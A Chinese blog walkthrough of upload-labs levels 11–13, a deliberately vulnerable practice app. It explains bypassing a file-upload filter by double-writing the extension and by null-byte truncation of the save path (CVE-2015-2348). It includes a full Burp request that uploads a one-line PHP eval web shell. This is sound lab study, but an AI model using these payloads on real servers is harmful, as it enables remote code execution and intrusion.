Upload-labs-11-13

本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关

测试的靶机是作者自己购买的vps搭建的环境,使用了白名单形式访问!

Pass-11

  • 查看本关卡代码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess","ini");

        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = str_ireplace($deny_ext,"", $file_name);
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = UPLOAD_PATH.'/'.$file_name;        
        if (move_uploaded_file($temp_file, $img_path)) {
            $is_upload = true;
        } else {
            $msg = '上传出错!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}
  • 根据代码提示确认 $file_name = str_ireplace($deny_ext,"", $file_name); 会将黑名单中的后缀进行过滤匹配,如果匹配到了就会替换为空,简单理解就是匹配到了黑名单的后缀就删除掉
  • 那么根据上面的提示了解str_ireplace的特性就知道这里是可以绕过的,具体看如下描述:
  • 假如上传的文件是bmfx.pphphp的时候,当匹配到第一个p的时候是不满足条件的,会继续向后匹配,但是当匹配到第二个字符的时候,也就是p,再向后看发现刚好符合黑名单里面的php关键字,既然可以匹配了,那么就直接删除php关键字,删除之后,将前面留下来的p字符和后面的hp合并起来刚好是php后缀,这样就刚好绕过str_ireplace()函数
  • 通过burpsuite抓包操作

  • 看看服务的是否成功

Pass-12

  • 查看本关卡代码
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = '上传出错!';
        }
    } else{
        $msg = "只允许上传.jpg|.png|.gif类型文件!";
    }
}
  • 再根据提示可确认路径可以操控,可同0x00截断来上传shell
POST /Pass-12/index.php?save_path=../upload/bmfx.php%00 HTTP/1.1
Host: 106.54.35.126
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://106.54.35.126/Pass-12/index.php?save_path=../upload/
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------126263195221606
Content-Length: 328

-----------------------------126263195221606
Content-Disposition: form-data; name="upload_file"; filename="bmfx.png"
Content-Type: image/png

<?php @eval($_POST['ant']);?>
-----------------------------126263195221606
Content-Disposition: form-data; name="submit"

涓婁紶
-----------------------------126263195221606--

  • 注意,我这里是上传失败的,但是姿势是对的,原因如下:
  • 我目标靶机的版本不在受影响范围内,我的php版本是5.5.38, 漏洞影响版本必须在5.4.x<= 5.4.39,5.5.x<= 5.5.23,5.6.x <= 5.6.7 ,且magic_quotes_gpc是off状态
  • 对于的漏洞CVE编号:https://nvd.nist.gov/vuln/detail/CVE-2015-2348 
  • 利用原理方式:https://www.cnblogs.com/cyjaysun/p/4390930.html
  • 具体关于0x00截断原理
  • 在C/PHP等语言中,截断的核心,就是chr(0)。chr()是一个函数,这个函数是用来返回参数所对应的字符的,也就是说,参数是一个ASCII码,返回的值是一个字符,类型为string。那么chr(0)就很好理解了,对照ASCII码表可以知道,ASCII码为0-127的数字,每个数字对应一个字符,而0对应的就是NUT字符(NULL),也就是空字符,而截断的关键就是于这个空字符。当一个字符串中存在空字符的时候,在被解析的时候会导致空字符后面的字符被丢弃。换句话说就是会误把它当成结束符,后面的数据直接忽略,这就导致漏洞产生。可能有时候我们会看到%00截断和0x00截断等说法。那么 %00截断和0x00截断有啥区别呢?其实他们的截断原理都一样,%00只不过是对ascii码中的0对应的字符编码后的结果。0x开头表示16进制,0在十六进制中是00, 0x00则是%00解码成的16进制。
  • 需要注意:当url中的参数是通过GET方式获取时,%00会被自动解码。而当参数是通过POST方式获取时,是不会自动解码的,也就是说%00只会原样被当成字符串来输出。所以通过POST方式请求此类参数的时候,我们需要手动将它的十六进制改写为0x00。
  • 可参考:https://www.zhaosimeng.cn/writeup/66.html

Pass-13

  • 查看本关卡代码
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传失败";
        }
    } else {
        $msg = "只允许上传.jpg|.png|.gif类型文件!";
    }
}
  • 本关卡跟上一关卡绕过方式是一样的,只是上一关卡在在代码里面是使用的GET请求方式控制上传路径,本关卡是使用POST请求控制路径
  • GET请求的url参数中的%00传送到服务器会被自动解码,而POST请求不会被解码,所以需要达到效果就要使用burpsuite在十六进制里面将其直接更改为00即可
  • 具体影响范围跟上一关卡一样,我本关卡测试同样不成功,但姿势是对的
  • 具体看如下演示

  •  ASCII码对照表:http://ascii.911cha.com/
  •  ok,上述只要在受影响的范围内,符合对于条件,就会成功
posted @ 2020-09-29 11:51  皇帽讲绿帽带法技巧  阅读(546)  评论(0编辑  收藏  举报